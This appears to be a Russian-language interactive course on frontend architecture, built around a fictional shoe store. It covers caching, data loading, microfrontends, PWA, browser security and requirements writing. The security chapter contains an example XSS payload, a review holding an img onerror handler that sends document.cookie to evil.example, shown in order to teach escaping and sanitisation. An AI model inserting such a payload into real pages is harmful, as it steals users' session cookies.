# файлы со всеми версиями в имени: кешировать на год, не перепроверять GET /assets/product-3f9a1c.js Cache-Control: public, max-age=31536000, immutable # HTML ссылается на актуальные имена: всегда сверяться с сервером GET /product/42 Cache-Control: no-cache # можно хранить, но перед показом спросить: не изменилось? ETag: "v42-8d1e" # не изменилось → ответ 304 без тела, несколько сотен байт
- «Объём JavaScript, загружаемого до первого показа любой публичной страницы, — не более 170 КБ в сжатом виде. Проверяется в конвейере сборки; превышение блокирует выпуск».
- «Изображения товаров отдаются в AVIF или WebP с размером под экран устройства; главное фото карточки не превышает 150 КБ».
глава 7 · водопад водопад запросов: шесть виджетов на одной странице
Карточка товара «Ботинка» состоит из шести блоков, и у каждого свой источник данных: шапка с пользователем и корзиной, сам товар, цена и наличие, отзывы, рекомендации, сроки доставки. В SPA каждый блок-компонент сам ходит за своими данными. Борис замечает в DevTools «лесенку»: запросы идут не разом, а друг за другом.
Откуда берутся ступеньки
Компонент внутри компонента
Родитель загрузил данные и только потом отрисовал детей. Дети начинают свою загрузку после этого. Глубина дерева = число ступенек. Самая частая причина.
Код, потом данные
Ленивый кусок кода сначала скачивается, и только после выполнения узнаёт, какие данные ему нужны. Код → данные → картинка: три ступеньки подряд.
Настоящая зависимость
Чтобы спросить сроки доставки, нужен город Анны, а он — в профиле. Рекомендации нужны «по категории товара». Это честная ступенька, но её можно пройти на сервере, где круг стоит 1 мс, а не 150.
N запросов на страницу
Шесть блоков — восемь запросов из браузера. Каждый со своими заголовками, cookie, проверкой токена. Это тот же N+1, что в базе данных, только по мобильной сети.
// ступенька: дети начинают грузиться, когда родитель уже загрузился function ProductPage({ id }) { const product = useFetch(`/api/products/${id}`); // ступенька 1 if (!product) return <Skeleton />; return <><Price id={id} /><Recs category={product.category} /></>; // ступенька 2 } // лучше: всё, что можно, запрашиваем разом на уровне маршрута async function loader({ params }) { const [product, price, reviews] = await Promise.all([ api.product(params.id), api.price(params.id), api.reviews(params.id) ]); return { product, price, reviews, recs: api.recs(product.category) }; // честная зависимость }
Пульт: шесть виджетов, четыре способа загрузки
Код приложения уже в кеше телефона (повторный визит), Анна переходит на карточку. Выберите способ и сеть и нажмите «▶ Загрузить». Справа — страница: блоки заполняются по мере прихода данных. Ниже — водопад, как во вкладке «Сеть».
глава 8 · данные как фронтенд получает, хранит и обновляет данные
Водопад починили. Теперь Вера решает, чем ходить за данными и как их держать в браузере, чтобы при возврате на страницу не ждать снова, а после нажатия «♥» сердечко загоралось сразу.
REST или GraphQL с клиента
Основы обоих подходов — в разделе . Здесь — что меняется, когда клиент — браузер на мобильной сети.
/graphql и метод POST.# один запрос вместо пяти: товар, цена, наличие, 3 отзыва, рекомендации
query ProductPage($id: ID!) {
product(id: $id) {
title photos(size: MOBILE) { url width height }
price { amount currency } stock { sizes { size available } }
reviews(first: 3) { rating text author { name } }
recommendations(first: 4) { id title price { amount } }
}
}
BFF глазами фронтенда
Что даёт фронтенду
Один запрос на экран вместо восьми. Форма данных — под экран, а не под схему базы. Можно менять ответ вместе с выпуском фронта, ни с кем не согласовывая. Здесь же хранятся токены доступа: браузеру — только cookie (раздел , глава о браузере).
Кто владеет
Команда фронтенда. Если BFF правит команда бэкенда по заявкам, он превращается в обычный API с лишним прыжком. Обычно BFF пишут на TypeScript рядом с фронтом — часто это просто серверная часть Next.js или Nuxt.
Чем опасен
Расползается: туда утекает бизнес-логика («скидка считается в BFF сайта»), и у сайта и приложения начинаются разные цены. Правило: BFF собирает и перекладывает, но не решает. Для мобильного BFF помните: старые версии приложения живут месяцами — ответ должен оставаться совместимым.
Серверные данные — это кеш: TanStack Query и SWR
['product', 42]), время получения и срок свежести. Библиотеки TanStack Query (версия 5) и SWR берут на себя: показать сохранённое сразу, тихо обновить в фоне, не слать два одинаковых запроса одновременно, повторить после сбоя, обновить при возврате на вкладку и при восстановлении сети.Попробуйте сами. Это упрощённая модель того, как ведёт себя TanStack Query. Главная настройка — staleTime: сколько ответ считается свежим. По умолчанию — 0: показываем сохранённое, но сразу перепроверяем.
Оптимистичное обновление
Списки: страницы, «показать ещё» и бесконечная лента
Номера страниц
Номер страницы — в адресе (?page=3): ссылкой можно поделиться, поисковик пройдёт по всем страницам, «назад» возвращает туда же. Для сервера — смещение или курсор (раздел , глава о пагинации).
«Показать ещё»
Компромисс: подгрузка по кнопке. Подвал сайта достижим, позиция в списке понятна. Курсорная пагинация на сервере — чтобы новые товары не сдвигали страницы.
Бесконечная лента
Подгрузка при прокрутке. Нужна виртуализация: в DOM только видимые 20–30 строк, иначе через 2000 товаров телефон захлебнётся. Восстановление позиции при возврате «назад». Подвал недостижим — ссылки «Доставка» и «Контакты» переносят.
Живые данные: статус заказа без перезагрузки
Анна оформила заказ и смотрит на экран статуса: «Собирается» → «Передан курьеру». Как узнать о смене статуса, не дёргая сервер каждую секунду? Нажмите на строку.
- «При повторном открытии карточки в течение сессии данные показываются из кеша мгновенно и обновляются в фоне; цена и наличие считаются свежими не дольше 30 с».
- «Статус заказа на экране обновляется не позже чем через 10 с после изменения на сервере; после обрыва сети клиент переподключается сам, без перезагрузки страницы».
глава 9 · состояние где хранить состояние и кто источник правды
Борис добавил товар в корзину. Цифра в шапке обновилась, а в выпадающей мини-корзине — нет. Олег открыл ссылку, которую прислала Анна, — и увидел каталог без её фильтров. Обе беды — про состояние.
Пять мест для состояния
🗄 Серверное
Принадлежит серверу: товары, цены, корзина, заказы, профиль. У фронта — только кеш (глава 8). Инструменты: TanStack Query, SWR, RTK Query, Apollo Client.
🔗 В адресе (URL)
То, чем хочется поделиться ссылкой и что должно пережить обновление страницы и кнопку «назад»: фильтры, сортировка, номер страницы, поисковый запрос, открытая вкладка.
🌍 Глобальное клиентское
Нужно многим далёким компонентам и не живёт на сервере: тема, язык интерфейса, открыт ли чат, очередь уведомлений-«тостов». Его обычно мало.
📍 Локальное
Нужно одному компоненту: раскрыт ли список размеров, наведён ли курсор, какой слайд галереи. Живёт внутри компонента и умирает вместе с ним.
📝 Состояние формы
Черновик ввода, ошибки проверки, «поле трогали», «форма отправляется». Отдельные библиотеки (React Hook Form) и схемы проверки (Zod) — те же правила проверки можно использовать и на сервере.
💾 Постоянное в браузере
localStorage, IndexedDB, cookie: переживает закрытие вкладки. Для настроек и черновиков. Для токенов — нет (глава 13).
Инструменты для клиентского состояния
Нажмите на строку.
Тренажёр: где хранить это состояние
Решено 0 из 0.
- «Выбранные фильтры, сортировка и номер страницы каталога отражаются в адресе страницы: ссылка воспроизводит выдачу, кнопка “назад” возвращает к прежним фильтрам».
- «Черновик отзыва сохраняется в браузере и восстанавливается при случайном закрытии вкладки в течение 24 часов».
глава 10 · структура кода компоненты, дизайн-система, Feature-Sliced Design и монорепозиторий
В репозитории сайта 3000 файлов. Папка components/ содержит 400 компонентов вперемешку: кнопка, модальное окно оплаты, график отзывов. Любая правка задевает чужое. Новичок неделю ищет, где лежит логика корзины. Вера предлагает навести порядок в трёх слоях: компоненты, дизайн-система, архитектура папок.
/* токены: смысл, а не конкретный цвет — тема меняется в одном месте */ :root { --color-action: var(--brand-600); /* «главная кнопка», а не «синий» */ --space-m: 16px; --radius-control: 8px; --font-body: "Inter", system-ui, sans-serif; } // компонент из библиотеки: доступность и состояния уже внутри import { Button } from '@botinok/ui'; <Button variant="primary" loading={isPending}>В корзину</Button>
Feature-Sliced Design: архитектура папок
| Слой (сверху вниз) | Что внутри | Пример «Ботинка» |
|---|---|---|
| app | Запуск приложения: маршруты, провайдеры, глобальные стили | app/router.tsx, app/providers.tsx |
| pages | Страницы целиком, со своей логикой | pages/product, pages/catalog |
| widgets | Крупные самостоятельные блоки страницы | widgets/header, widgets/recommendations |
| features | Действия пользователя, которые переиспользуются | features/add-to-cart, features/choose-size |
| entities | Бизнес-сущности: их данные и отображение | entities/product, entities/user, entities/order |
| shared | Общее без бизнес-смысла: UI-кит, клиент API, утилиты | shared/ui/Button, shared/api |
src/features/add-to-cart/ ← срез: одна бизнес-возможность ui/AddToCartButton.tsx ← сегмент ui: отображение model/useAddToCart.ts ← сегмент model: логика и состояние api/addToCart.ts ← сегмент api: запросы index.ts ← публичный API среза: снаружи импортируют только отсюда
Только вниз
features может брать из entities и shared, но не из widgets и pages. Иначе появляются циклы, и правка «внизу» ломает всё «наверху».
Не вбок
Срезы одного слоя не импортируют друг друга: features/add-to-cart не знает о features/favorites. Если им нужно общее — оно опускается ниже или собирается выше.
Через публичный API
Снаружи — только из index.ts среза. Внутренности можно переделывать свободно. Проверяет линтер — например, официальный Steiger.
features или entities только при настоящем повторном использовании. Слой processes устарел. Связь с разделом : срезы FSD — это бизнес-границы, та же идея, что у сервисов, только внутри одного приложения.Тренажёр: можно ли так импортировать?
Решено 0 из 0.
Монорепозиторий
botinok/ apps/web ← сайт (Next.js) apps/admin ← админка склада (Vite + React) apps/mobile ← приложение (React Native) packages/ui ← дизайн-система packages/api-client ← клиент API и типы, сгенерированные из OpenAPI CODEOWNERS ← кто отвечает за каждую папку и одобряет правки
Выигрываем
Одна правка API-клиента сразу видна сайту, админке и приложению — компилятор подсветит, где сломалось. Одна версия React и дизайн-системы. Общие правила линтера и сборки.
Платим
Нужны инструменты, иначе сборка всего идёт час. Права и владение — через CODEOWNERS. Выпуск остаётся раздельным: монорепозиторий — про код, а не про общий релиз.
- «Все публичные страницы используют компоненты дизайн-системы
@botinok/ui; собственные варианты кнопок, полей и модальных окон не допускаются без согласования с командой платформы».
глава 11 · микрофронтенды четыре команды, одна страница
Команда фронтенда «Ботинка» выросла до четырёх: Каталог, Корзина и оплата, Рекомендации, Личный кабинет — плюс маленькая команда Платформы (дизайн-система, сборка). Все правят одно приложение. Выпуск — общим «поездом» раз в две недели. Во вторник Каталог доделал новые фильтры — они ждут девять дней. В четверг у Рекомендаций нашли ошибку — поезд не ушёл ни у кого. На каждый релиз — конфликты слияния в общих файлах.
Подробно о законе Конвея и устройстве команд — в разделе , о нарезке по бизнес-границам — в , о стилях архитектуры — в .
Режем по бизнесу, а не по технике
Микрофронтенд «Корзина» — это корзина целиком: экран, логика, свой BFF, своя команда. Нарезка «одна команда делает кнопки, другая — формы» ничего не даёт: любая фича снова требует всех.
Независимость — главная цель
Если команда Каталога не может выпустить фильтры, пока не выпустится оболочка, — это не микрофронтенды, а монолит с лишними шагами. Проверка простая: сколько команд надо позвать, чтобы выкатить фичу одной из них?
Способы собрать страницу из частей
Нажмите на строку, чтобы раскрыть подробности.
// конфигурация сборки оболочки (Vite, Rspack, webpack — плагины MF 2.0) federation({ name: 'shell', remotes: { catalog: 'catalog@https://cdn.botinok.ru/catalog/mf-manifest.json', }, shared: { react: { singleton: true, requiredVersion: '^19.0.0' }, 'react-dom': { singleton: true, requiredVersion: '^19.0.0' }, }, }); // в коде оболочки: кусок чужой команды как ленивый компонент const Catalog = lazy(() => import('catalog/Page'));
<script type="importmap"> { "imports": { "react": "https://cdn.botinok.ru/libs/react@19.2/index.js", "@botinok/catalog": "https://cdn.botinok.ru/catalog/v1.4.2/main.js" } } </script> // оболочка на single-spa: кто активен на каком адресе registerApplication({ name: '@botinok/catalog', app: () => import('@botinok/catalog'), activeWhen: ['/catalog'], });
<main>
<esi:include src="https://catalog.internal/fragment/product/42"/>
<esi:include src="https://recs.internal/fragment?item=42" onerror="continue"/>
</main>
remoteEntry.js, подсказки типов TypeScript между командами, удаление неиспользуемого кода в общих зависимостях; плагины есть для webpack, Rspack, Vite и других. Карты импортов (import maps) поддерживаются всеми основными браузерами с 2023 года; несколько карт на одной странице — пока не везде.Пульт: оболочка и четыре микрофронтенда
Выберите способ сборки. Потом устраивайте события и смотрите, что происходит со страницей Анны, весом JavaScript и командами. Включите «границы ошибок», чтобы увидеть, как сбой остаётся в своём блоке.
Что придётся решить в любом способе
Общие зависимости и версии
React, роутер, дизайн-система должны быть одной копией — иначе страница тяжелеет, а компоненты из разных копий React ломаются («Invalid hook call»). Нужна политика: команда платформы задаёт допустимые версии, обновления идут волнами, у каждой команды есть срок переезда.
Общий вид
Единая дизайн-система (глава 10) как общий пакет с токенами. Стили изолируют: CSS-модули, префиксы классов или Shadow DOM у веб-компонентов. Визуальные тесты ловят «у Каталога кнопки стали круглее».
Маршрутизация
Оболочка владеет верхним уровнем адресов: /catalog/* → Каталог, /cart/* → Корзина. Внутри своего префикса команда решает сама. История браузера одна на всех: кнопка «назад» должна работать через границы.
Обмен событиями
Микрофронтенды не лезут в состояние друг друга. Общаются через адрес страницы, события в браузере и API. Событие — такой же контракт, как API: имя, поля, версия.
// Каталог сообщает: товар добавлен. Корзина в шапке слушает и обновляет счётчик. window.dispatchEvent(new CustomEvent('botinok:cart:item-added', { detail: { v: 1, sku: 'BEG-42', size: 42, qty: 1 } })); window.addEventListener('botinok:cart:item-added', e => cart.refetch());
- «Каждый микрофронтенд выпускается своей командой без выпуска оболочки и других микрофронтендов; время от слияния правки до продакшена — не более 1 часа».
- «Сбой загрузки или ошибка в микрофронтенде “Рекомендации” не влияет на работу карточки, корзины и оплаты: вместо блока показывается заглушка, событие уходит в мониторинг с пометкой команды».
глава 12 · офлайн и PWA метро, тоннель, дача: сайт, который работает без сети
Анна едет в метро. Между станциями сеть пропадает. Мобильное приложение «Ботинка» показывает каталог и избранное — данные сохранены. А сайт показывает браузерную заглушку «Нет подключения к интернету». Олег спрашивает: «Нам обязательно делать приложение, чтобы работать без сети?» Нет — для многого хватит браузера.
1. Установка (install)
Страница регистрирует скрипт. Браузер скачивает его и вызывает событие install: здесь заранее кладут в кеш «оболочку» приложения — HTML, стили, скрипты, значки.
2. Активация (activate)
Удаляем кеши прошлых версий. Новая версия service worker по умолчанию ждёт, пока закроют все вкладки со старой, — чтобы на одной странице не смешались две версии. Ускорить можно (skipWaiting), но осознанно.
3. Перехват (fetch)
Каждый запрос страницы проходит через обработчик fetch. Для разных адресов — разные стратегии: статика из кеша, цены из сети, картинки «кеш и обновление».
Пульт: service worker и пропавшая сеть
Выберите стратегию, открывайте каталог и товар, меняйте цену на сервере и обрывайте сеть. Пакеты летят по схеме, справа — что видит Анна и что лежит в кеше.
| Стратегия | Как работает | Для чего в «Ботинке» |
|---|---|---|
| Сначала кеш (cache-first) | Есть в кеше — сразу отдать, в сеть не ходить. Нет — сеть и сохранить. | Скрипты и стили с хешем в имени, шрифты, значки: они не меняются |
| Сначала сеть (network-first) | Пробуем сеть; не ответила или ответила за таймаут — отдаём из кеша. | HTML страниц, цены, наличие, статус заказа: важна свежесть, но лучше старое, чем ничего |
| Кеш + обновление (stale-while-revalidate) | Сразу отдаём из кеша и одновременно идём в сеть, чтобы обновить кеш к следующему разу. | Каталог, отзывы, аватарки: допустимо на минуту устаревшее |
| Только сеть (network-only) | Кеш не трогаем. | Оплата, оформление заказа, вход: никаких «вчерашних» ответов |
| Только кеш (cache-only) | Только то, что положили при установке. | Страница «Вы не в сети», логотип |
Названия стратегий — из библиотеки Workbox, которой обычно и пишут service worker.
Манифест и установка
// /manifest.webmanifest — подключается в HTML: <link rel="manifest" href="/manifest.webmanifest"> { "name": "Ботинок — кроссовки и кеды", "short_name": "Ботинок", "start_url": "/?source=pwa", "display": "standalone", // окно без адресной строки "icons": [ { "src": "/icons/192.png", "sizes": "192x192", "type": "image/png" }, { "src": "/icons/512.png", "sizes": "512x512", "type": "image/png" } ] }
Установка
Chromium-браузеры на Android и компьютерах сами предлагают «Установить приложение». На iPhone и iPad — только через «Поделиться → На экран „Домой“»: это придётся объяснять в интерфейсе. Веб-уведомления на iOS работают с версии 16.4 и только у установленного на экран сайта.
Фоновая синхронизация
Background Sync: действие, сделанное без сети («♥ в избранное»), кладётся в очередь, и браузер сам отправит его, когда сеть вернётся, даже если вкладку закрыли. Есть только в Chromium-браузерах; в Safari и Firefox — отправляем при следующем открытии сайта.
Место и вытеснение
Cache Storage и IndexedDB ограничены квотой и могут быть очищены браузером. Safari удаляет данные сайта, если им не пользовались 7 дней (кроме установленных на экран). Офлайн-данные — это кеш, а не надёжное хранилище.
Мобильное приложение: натив, кроссплатформа или PWA
Нажмите на строку.
- «Без сети доступны: просмотренные за последние 7 дней карточки товаров, избранное и история заказов. Цены в офлайне помечаются временем последнего обновления. Оформление заказа без сети недоступно, кнопка объясняет почему».
- «Добавление в избранное без сети сохраняется локально и отправляется на сервер автоматически при восстановлении соединения».
глава 13 · безопасность браузер — чужая территория: XSS, CSP, токены, CORS, CSRF и npm
Вся защита сервера бесполезна, если вредный скрипт выполняется прямо на странице «Ботинка» — у Анны в браузере, с её cookie и её правами. Здесь — только браузерная часть. Угрозы целиком, OWASP Top 10 и нулевое доверие — в разделе , токены — в .
<!-- покупатель оставил «отзыв» — а страница вставила его как HTML --> Отличные кроссовки! <img src="x" onerror="fetch('https://evil.example/?c=' + document.cookie)"> // React экранирует текст сам: {review.text} — безопасно. // Опасны вставки «как HTML»: <div dangerouslySetInnerHTML={{ __html: review.text }} /> // и element.innerHTML = …, v-html во Vue // если HTML действительно нужен — очистить: DOMPurify.sanitize(review.html)
Конструктор CSP: что блокирует каждая строчка
Слева — шесть реальных атак на «Ботинок». Включайте части политики и смотрите, какие атаки браузер остановит. Внизу — получившийся заголовок.
Content-Security-Policy-Report-Only: браузер ничего не блокирует, но присылает отчёты о нарушениях. Неделю собираем отчёты, чиним свои встроенные скрипты, потом включаем настоящую политику. Одноразовый ключ (nonce) генерирует сервер на каждый ответ и ставит его в заголовок и во все свои теги <script>. С февраля 2026 года во всех основных браузерах есть Trusted Types — запрет опасных вставок вроде innerHTML без проверки.Где хранить токены
Не так: токен в localStorage
Любой скрипт на странице — свой, сторонний или внедрённый через XSS — читает localStorage и уносит токен. Украденный токен работает с любого компьютера, пока не истечёт.
Так: BFF и cookie
Токены живут на сервере, в BFF. Браузер получает только cookie сессии с флагами HttpOnly (скрипт её не видит), Secure (только HTTPS), SameSite и префиксом имени __Host-. Подробно, с атаками по шагам, — в разделе .
Set-Cookie: __Host-session=7f3c…; Path=/; Secure; HttpOnly; SameSite=Strict
CORS: кто кому разрешает читать
Access-Control-Allow-*.Access-Control-Allow-Origin: * вместе с cookie — браузер это и не позволит.CSRF: запрос от имени Анны с чужого сайта
SameSite у cookie
SameSite=Lax (в Chromium — по умолчанию) или Strict: cookie не уходит с запросами, начатыми чужим сайтом (кроме обычных переходов по ссылке для Lax).
Свой заголовок или токен
BFF принимает изменения только с заголовком, который ставит наш код (например, X-Requested-With), или с CSRF-токеном в форме. Чужой сайт не может добавить заголовок к запросу на наш домен без разрешения CORS.
Проверка источника
Сервер смотрит заголовки Origin и Sec-Fetch-Site: запрос пришёл со своего сайта или с чужого? Чужой — отказ.
Цепочка поставок: чужой код, который стал вашим
В сайте «Ботинка» 40 прямых зависимостей из npm и больше тысячи косвенных. Плюс скрипты аналитики, чата и рекламы прямо на странице. Каждая из них выполняется с правами вашего кода.
Как это случается
Июнь 2024, polyfill.io. Домен популярного сервиса полифилов купила другая компания, и скрипт начал подмешивать вредный код на больше чем 100 000 сайтов, которые подключали его напрямую с этого домена.
8 сентября 2025, chalk и debug. Мейнтейнер популярных пакетов npm попался на фишинговое письмо «от поддержки npm». В пакеты с миллиардами скачиваний в неделю на пару часов попал код, подменявший адреса криптокошельков в браузере.
Что делать
Файл блокировки версий (lockfile) и npm ci в сборке; новые зависимости — через ревью; автоматический поиск уязвимостей (npm audit, Dependabot, Renovate); не ставить версию в первые дни после выхода; не запускать скрипты установки пакетов без нужды (pnpm 10 по умолчанию их не запускает); список компонентов (SBOM). Сторонние скрипты — хранить у себя или подключать с проверкой целостности.
integrity с хешем файла. Браузер скачает скрипт, посчитает хеш и выполнит, только если хеш совпал. Подменили файл на CDN — браузер его не выполнит.<script src="https://cdn.example.com/lib@3.2.1/lib.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
- «Все страницы отдаются с заголовком CSP на основе одноразовых ключей (nonce) без 'unsafe-inline' и 'unsafe-eval', с frame-ancestors 'none'; нарушения отправляются в мониторинг».
- «Токены доступа в браузер не передаются; сессия — cookie с флагами HttpOnly, Secure, SameSite=Strict. Сторонние скрипты на странице оплаты запрещены».
глава 14 · выпуск сборка, CDN, атомарный деплой, флаги и ошибки в проде
Пятница, 14:05. Команда Каталога выкатила новую версию. В 14:10 у части покупателей — белый экран при открытии вкладки «Отзывы». Откатывали сорок минут. Разберёмся, как устроен выпуск фронтенда и где он ломается. Общие принципы конвейера — в разделе , стратегии выкатки и флаги — в .
$ vite build dist/index.html 0.6 kB dist/assets/index-B3x9aQ2c.css 38.2 kB │ gzip: 9.1 kB dist/assets/index-Cj7kP0fd.js 142.8 kB │ gzip: 46.0 kB dist/assets/reviews-D1mZx8Lw.js 96.4 kB │ gzip: 31.7 kB ← ленивый кусок вкладки «Отзывы» # имена с хешем → кешировать на год; index.html → всегда проверять (глава 6)
Артефакт
Статический сайт (SPA, SSG) — это папка файлов: она едет в объектное хранилище и на CDN, сервер не нужен. Для SSR и RSC добавляется серверная часть на Node.js — её упаковывают в контейнер, как любой сервис (раздел ).
Одна сборка — много сред
Собираем один раз, а тестовую, предпродакшен и продакшен отличают настройки, которые подставляются при выдаче (например, через /config.json или переменные сервера). Пересобирать «для прода» — значит выпускать не то, что тестировали.
Атомарный деплой и что ломается без него
index.html отдавать. Старые файлы остаются на месте ещё какое-то время.Выберите сценарий выпуска версии v42 вместо v41.
Флаги и A/B-тесты на фронте
Основы — в разделе , глава о флагах: выкатить ≠ включить. Особенности фронтенда:
Мигание
Если флаг или вариант A/B-теста вычисляется в браузере после загрузки, Анна на миг видит старую версию, потом новую. Это портит и впечатление, и CLS. Лечится вычислением на сервере или на краю CDN — вариант приходит уже в HTML.
Стандарт и поставщики
OpenFeature — открытый стандарт API флагов (проект CNCF): код не привязан к поставщику (LaunchDarkly, Unleash, GrowthBook, собственный сервис). У мобильного приложения флаги — единственный способ выключить фичу без выпуска в магазине.
Ограничители эксперимента
Вариант Б может поднять конверсию и уронить LCP. В эксперимент добавляют «ограничители» — Core Web Vitals и ошибки JavaScript — и останавливают вариант, если они ухудшились. Флаги после эксперимента удаляют из кода.
Ошибки в проде: Sentry и RUM
web-vitals снимает LCP, INP и CLS так же, как Chrome.Отслеживание ошибок
Sentry и аналоги ловят необработанные ошибки JavaScript со стеком вызовов. Чтобы стек был читаемым, при сборке в Sentry загружают карты исходников (source maps) — но не выкладывают их публично. Каждое событие помечено версией релиза и командой-владельцем блока — так видно, что ошибки начались в 14:05 с релизом v42.
Что нельзя собирать
Запись сессий и журналы ошибок легко захватывают личные данные: адрес, телефон, номер карты в поле ввода. Маскирование полей по умолчанию и согласие на аналитику — требования, а не пожелания (раздел , глава о персональных данных). Подробнее о метриках и трассах — в .
- «Выпуск фронтенда атомарный; файлы предыдущих версий доступны не менее 30 дней; откат на предыдущую версию — не дольше 5 минут, без пересборки».
- «Ошибки JavaScript и Core Web Vitals собираются с реальных пользователей с пометкой версии релиза; рост доли ошибок более чем вдвое за 15 минут после выпуска — автоматическое оповещение команды».
глава 15 · аналитику доступность, языки и требования к фронтенду
Понедельник. Олег садится переписывать требования. В старой постановке было три строчки: «сайт должен быстро загружаться», «поддерживать все браузеры», «быть удобным». Ни одну нельзя проверить. Сначала — две темы, о которых часто забывают.
Доступность: WCAG 2.2
Что проверить в первую очередь
Всё работает с клавиатуры, фокус виден и не прячется под липкой шапкой. У картинок — осмысленный альтернативный текст. У полей — подписи, а ошибки объяснены словами, не только красным цветом. Контраст текста — не меньше 4,5:1 (крупного — 3:1). Кнопки и иконки — понятные диктору названия.
Что нового в 2.2
Цель нажатия — не меньше 24×24 CSS-пикселя. Фокус не должен скрываться под другими элементами. Вход без «когнитивных тестов» вроде распознавания картинок — должна быть альтернатива (например, вставка пароля из менеджера). Перетаскивание — с альтернативой нажатием. Помощь — в одном и том же месте на всех страницах. Не просить вводить одно и то же дважды.
Интернационализация и локализация
Формы множественного числа
«1 товар, 2 товара, 5 товаров» — у русского три формы, у английского две, у арабского шесть. Склейка строк «Найдено » + n + « товаров» ломается. Нужны правила (Intl.PluralRules, формат сообщений ICU).
Числа, даты, валюты
Встроенный Intl.NumberFormat с регионом ru-RU и валютой RUB даст «4 990,00 ₽», а с регионом en-US — «RUB 4,990.00». Даты и часовые пояса — из настроек, не вручную.
Длина и направление
Немецкий текст длиннее русского, кнопки должны растягиваться. Арабский и иврит пишутся справа налево — вёрстка на логических свойствах CSS (margin-inline-start) переворачивается сама.
Требования к фронтенду: плохо и хорошо
| Плохо | Хорошо | Что это даёт команде |
|---|---|---|
| Сайт должен быстро загружаться | На мобильных по данным RUM за 28 дней: LCP ≤ 2,5 с, INP ≤ 200 мс, CLS ≤ 0,1 на 75-м перцентиле для каталога, карточки и корзины. В лаборатории — профиль «медленный телефон» Lighthouse. | Известно, что, где и на ком мерить; выбор SSR/SSG вместо CSR следует из чисел |
| Поддерживать все браузеры | Последние 2 версии Chrome, Safari, Firefox, Edge, Яндекс Браузера и Samsung Internet; Safari на iOS от 16.4. В остальных — базовый просмотр и оформление заказа без ошибок. | Настройка сборки (browserslist), объём полифилов, матрица тестирования |
| Должно работать офлайн | Без сети доступны просмотренные товары, избранное и история заказов; оформление недоступно с объяснением; действия с избранным синхронизируются при восстановлении сети. | Стратегии service worker и сценарии интерфейса без сети |
| Сайт должен хорошо индексироваться | Каталог и карточки отдаются с сервера полным HTML: title, description, Open Graph, canonical, разметка schema.org Product; карта сайта обновляется ежедневно. | Способ отрисовки для публичных страниц; превью ссылок в мессенджерах |
| Сайт должен быть доступным | Соответствие WCAG 2.2 уровня AA; все сценарии покупки проходимы с клавиатуры и с VoiceOver/TalkBack; проверка автоматическим тестом на каждом выпуске и ручной аудит раз в квартал. | Критерии приёмки, проверяемые тестами |
| Поддержка нескольких языков | Русский и казахский интерфейс, английский — для справки; цены в рублях и тенге по региону; даты и числа — по региону; тексты хранятся вне кода и переводятся без выпуска. | Архитектура i18n закладывается сразу, а не «потом переведём» |
Тренажёр: выберите лучшую формулировку
Решено 0 из 0.
Частые ошибки в постановках для фронтенда
Нажмите на пункт, чтобы раскрыть.
глава 16 · проверь себя двенадцать вопросов по истории «Ботинка»
Если ответ не очевиден, вернитесь к главе: способы отрисовки (3–4), метрики (5), вес и водопад (6–7), данные и состояние (8–9), микрофронтенды (11), офлайн (12), безопасность (13), выпуск (14).
Решено 0 из 0.
Безопасность — это не замок на входе, а привычка на каждом шаге. Взлом почти никогда не бывает кино со взломщиком в капюшоне. Обычно это скучная мелочь: забыли одну проверку, оставили один ключ в коде, не записали одно событие в журнал. Раздел проведёт вас через одно расследование в магазине «Ботинок»: от письма «у вас утекли заказы» до списка требований, после которых такое не повторится. По дороге разберём угрозы, пароли, шифры, секреты, уязвимости, модели доступа и персональные данные.
зачем это зачем архитектору и аналитику безопасность
карта раздела одно расследование, восемнадцать глав
Главы идут по порядку расследования: сначала — что случилось и какими словами это описывать, потом — механизмы защиты, потом — типовые дыры, в конце — как всё это записать в требования. Нажмите на главу, чтобы перейти к ней.
глава 1 · завязка понедельник, 09:12: «у вас утекли заказы»
Начнём со слов. Их немного, и все они понадобятся в каждой следующей главе.
🔒 Конфиденциальность
Confidentiality. Прочитать может только тот, кому положено. Утечка 48 000 заказов — удар ровно сюда.
Житейски: письмо в запечатанном конверте. Почтальон его несёт, но не читает.
🧾 Целостность
Integrity. Данные не изменили тайком. Если кто-то поменял цену в корзине с 12 990 ₽ на 1 ₽ — пострадала целостность.
Житейски: пломба на счётчике воды. Её не видно, пока всё хорошо, но сорванную пломбу замечают сразу.
🟢 Доступность
Availability. Система работает, когда нужна. Если магазин завалили мусорными запросами в «чёрную пятницу» — пострадала доступность.
Житейски: банкомат, который работает в три часа ночи, когда вам срочно нужны наличные.
Три «А»: паспорт, пропуск и журнал
🪪 Аутентификация
Доказать личность: пароль, код из приложения, ключ доступа (passkey), сертификат. Ошибка — ответ 401. Как устроен вход, токены и единый вход — в разделе .
🗝 Авторизация
Решить, можно ли этому человеку сделать это с этим объектом. Ошибка — ответ 403 (или 404, чтобы не выдавать, что объект существует). Подробно — в главе 12.
📋 Учёт
Записать, кто что сделал, так, чтобы запись нельзя было тихо исправить. Без этого не расследовать ни утечку, ни спор «я не менял эту цену». Подробно — в главе 15.
Актив, угроза, уязвимость, риск
Вера рисует на доске четыре слова. Их путают даже опытные люди, а в требованиях они должны стоять точно.
Актив (asset)
То, что ценно и что защищаем. Для «Ботинка»: данные покупателей, деньги, цены, репутация, сама возможность продавать.
Угроза (threat)
Что плохое может случиться с активом. «Посторонний прочитает чужие заказы». Угроза существует, даже если дыры нет.
Уязвимость (vulnerability)
Конкретная слабость, через которую угроза становится реальностью. «Сервис заказов не проверяет, чей это заказ».
Риск (risk)
Насколько всё плохо: вероятность × ущерб. Риск можно снизить, передать (страховка), принять осознанно. Нельзя только игнорировать.
Что было в понедельник — разложите по буквам CIA
Вера перечисляет, что команда нашла за первый день. Для каждой находки выберите, какое свойство пострадало в первую очередь.
Решено 0 из 0.
/api/orders/10452. Сервис проверял, что человек вошёл в систему, но не проверял, что заказ его. Кто-то вошёл обычным покупателем и за ночь перебрал номера подряд. Ни лимитов, ни оповещений не сработало. Одна забытая проверка и одно незаписанное событие. Дальше разберём, как такое находить заранее и как закрывать.глава 2 · принципы не один замок, а несколько: принципы защиты
У Бориса первая реакция: «Добавим проверку владельца — и всё». Вера соглашается, что это надо сделать сегодня же. Но спрашивает: «А что, если завтра забудем другую проверку? Что нас подстрахует?» Для этого есть несколько старых принципов. Они не про конкретную технологию, а про то, как думать.
